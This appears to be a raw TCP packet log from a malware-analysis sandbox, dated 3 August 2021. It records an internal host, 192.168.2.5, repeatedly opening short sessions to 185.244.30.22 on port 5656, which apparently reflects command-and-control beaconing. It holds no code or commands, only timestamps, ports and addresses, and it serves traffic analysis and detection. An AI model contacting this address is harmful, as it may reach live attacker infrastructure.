Aug 3, 2021 11:35:33.249658108 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.249718904 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.249736071 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.252629042 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.253528118 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.253582954 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.253608942 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.268160105 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.268718958 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.268825054 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.268868923 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.269486904 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.269716978 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.274235964 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.274274111 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.274358988 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.274390936 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.274390936 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.274507046 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.284364939 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.284603119 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.284636021 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.284657001 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.285579920 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.286076069 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.286592007 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.286664009 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.286849022 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.287144899 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.287435055 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.287585020 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.287600040 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.288119078 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.288182974 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.288199902 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.293428898 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.293699026 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.294207096 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.294280052 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.294333935 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.294352055 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.294761896 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.295101881 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.295382977 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.295618057 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.295694113 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.295878887 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.311904907 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.312052965 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.312091112 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.312123060 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.312659025 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.312773943 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.312990904 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.313167095 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.313458920 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.314033985 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.314110041 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.314132929 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.314449072 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.314954042 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.315170050 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.315519094 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.322680950 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.323167086 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.323218107 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.323487043 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.323798895 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.324301004 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.324354887 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.324377060 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.352826118 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.352859974 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.352885962 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.352909088 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.352931023 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.352952957 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.352953911 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.352973938 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.352979898 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.353003025 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.353025913 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.353029966 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.353037119 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.353163004 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.353221893 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.353264093 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.353391886 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.354147911 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.354211092 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.357345104 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.357820034 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.358442068 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.358480930 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.358906984 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.359185934 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.359219074 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.359700918 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.360104084 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.360709906 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.360743046 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.360835075 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.370361090 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.376679897 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.377063990 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.377098083 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.378899097 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.379182100 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.379530907 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.379785061 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.380512953 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.393187046 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.393322945 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.393976927 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.395158052 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.397526979 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.397591114 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.398693085 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.398716927 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.398761034 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.398796082 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.410108089 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.410193920 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.410239935 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.410300970 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.436001062 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.436058044 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.436755896 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.436825037 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.436865091 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.436911106 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.437089920 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.437135935 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.439991951 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.440066099 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.440112114 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.440155029 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.440160036 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.440232992 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.440233946 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.440278053 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.451229095 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.451308966 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.452553034 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.452624083 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.453833103 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.453857899 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.454091072 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.508045912 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:33.553864956 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:33.557172060 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:37.580189943 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:37.705024004 CEST	5656	49744	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:37.705130100 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:37.723026991 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:37.906927109 CEST	5656	49744	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:37.907749891 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:38.110958099 CEST	5656	49744	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:38.111001968 CEST	5656	49744	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:38.111166954 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:38.285799980 CEST	5656	49744	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:38.286346912 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:38.411360025 CEST	5656	49744	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:38.443012953 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:38.613547087 CEST	5656	49744	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:38.613682032 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:38.781435013 CEST	5656	49744	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:38.781589985 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:38.953316927 CEST	5656	49744	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:38.953413963 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:39.079145908 CEST	5656	49744	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:39.079293013 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:39.215634108 CEST	5656	49744	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:39.215749979 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:39.390957117 CEST	5656	49744	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:39.391068935 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:39.514054060 CEST	5656	49744	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:39.606940985 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:39.772202015 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:39.827986002 CEST	5656	49744	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:39.828109026 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:39.904005051 CEST	5656	49744	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:39.904149055 CEST	49744	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:44.319740057 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:44.442084074 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:44.442310095 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:44.442768097 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:44.616044998 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:44.616175890 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:44.787585020 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:44.787700891 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:44.808556080 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:44.863149881 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:44.959163904 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:44.960290909 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:45.084681034 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:45.124608040 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:45.298576117 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:45.298655033 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:45.470726967 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:45.470943928 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:45.570781946 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:45.570956945 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:45.601622105 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:45.601864100 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:45.723543882 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:45.723666906 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:45.847146988 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:45.847356081 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:45.971931934 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:45.972031116 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:46.152437925 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:46.152683020 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:46.354119062 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:46.354290962 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:46.527380943 CEST	5656	49745	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:46.527450085 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:46.567403078 CEST	49745	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:50.783983946 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:50.906835079 CEST	5656	49746	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:50.906968117 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:50.943540096 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:51.112479925 CEST	5656	49746	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:51.112564087 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:51.283298016 CEST	5656	49746	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:51.283396959 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:51.316867113 CEST	5656	49746	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:51.363825083 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:51.456399918 CEST	5656	49746	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:51.456656933 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:51.581881046 CEST	5656	49746	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:51.581995964 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:51.747693062 CEST	5656	49746	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:51.747883081 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:51.919673920 CEST	5656	49746	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:51.919766903 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:52.048677921 CEST	5656	49746	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:52.048878908 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:52.176727057 CEST	5656	49746	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:52.176865101 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:52.354291916 CEST	5656	49746	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:52.354463100 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:52.493460894 CEST	5656	49746	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:52.493571997 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:52.620423079 CEST	5656	49746	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:52.620557070 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:52.808669090 CEST	5656	49746	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:52.809588909 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:52.864160061 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:52.977066040 CEST	5656	49746	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:52.977385998 CEST	49746	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:57.021476030 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:57.146976948 CEST	5656	49747	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:57.147212982 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:57.169056892 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:57.356549978 CEST	5656	49747	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:57.356682062 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:57.524075031 CEST	5656	49747	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:57.525528908 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:57.702791929 CEST	5656	49747	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:57.702961922 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:57.825368881 CEST	5656	49747	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:57.825721979 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:58.002645969 CEST	5656	49747	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:58.002950907 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:58.187381029 CEST	5656	49747	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:58.187494993 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:58.281400919 CEST	5656	49747	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:58.282308102 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:58.308612108 CEST	5656	49747	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:58.308764935 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:58.431162119 CEST	5656	49747	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:58.431358099 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:58.553416014 CEST	5656	49747	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:58.553509951 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:58.674618959 CEST	5656	49747	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:58.676563025 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:58.850698948 CEST	5656	49747	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:58.850797892 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:59.027101994 CEST	5656	49747	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:59.027282000 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:59.146421909 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:59.198153973 CEST	5656	49747	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:59.198210001 CEST	49747	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:04.256115913 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:04.382493019 CEST	5656	49748	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:04.382610083 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:04.419420958 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:04.587285995 CEST	5656	49748	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:04.587404013 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:04.746491909 CEST	5656	49748	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:04.748739004 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:04.918838978 CEST	5656	49748	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:04.918914080 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:05.044702053 CEST	5656	49748	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:05.044859886 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:05.212332010 CEST	5656	49748	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:05.212418079 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:05.384090900 CEST	5656	49748	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:05.385586023 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:05.478225946 CEST	5656	49748	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:05.480504036 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:05.508717060 CEST	5656	49748	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:05.552345991 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:05.665465117 CEST	5656	49748	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:05.665579081 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:05.818356037 CEST	5656	49748	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:05.818576097 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:05.946752071 CEST	5656	49748	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:05.946887016 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:06.119576931 CEST	5656	49748	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:06.119704008 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:06.285872936 CEST	5656	49748	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:06.286051989 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:06.287592888 CEST	49748	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:10.370990038 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:10.494188070 CEST	5656	49751	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:10.494371891 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:10.588078022 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:10.766774893 CEST	5656	49751	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:10.767049074 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:10.917553902 CEST	5656	49751	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:10.917793036 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:11.256057978 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:11.315573931 CEST	5656	49751	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:11.316502094 CEST	49751	5656	192.168.2.5	185.244.30.22
